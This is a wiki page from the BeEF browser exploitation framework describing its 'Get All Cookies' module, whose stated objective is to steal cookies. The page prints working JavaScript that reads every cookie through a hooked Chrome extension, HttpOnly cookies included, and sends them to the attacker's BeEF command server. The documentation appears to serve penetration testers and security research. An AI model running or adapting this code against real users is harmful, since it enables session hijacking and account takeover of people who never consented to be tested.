-
Notifications
You must be signed in to change notification settings - Fork 2.2k
Module: Get All Cookies
Jess Williams edited this page Jan 13, 2020
·
3 revisions
-
Objective: Steal cookies
-
Authors: mh
-
Browsers: Chrome
Steals all (even HttpOnly) cookies, provided that the hooked extension has cookies access.
Note: Needs to have installed a Chrome extension with a beef hook / somehow hook a Chrome extension first for this to work.
if (the_url != 'default_all') {
chrome.cookies.getAll({url:the_url}, function(cookies){
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'cookies: ' + JSON.stringify(cookies));
})
} else {
chrome.cookies.getAll({}, function(cookies){
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'cookies: ' + JSON.stringify(cookies));
})
- Configuration
- Interface
- Information Gathering
- Social Engineering
- Network Discovery
- Metasploit
- Tunneling
- XSS Rays
- Persistence
- Creating a Module
- Geolocation
- Using-BeEF-With-NGROK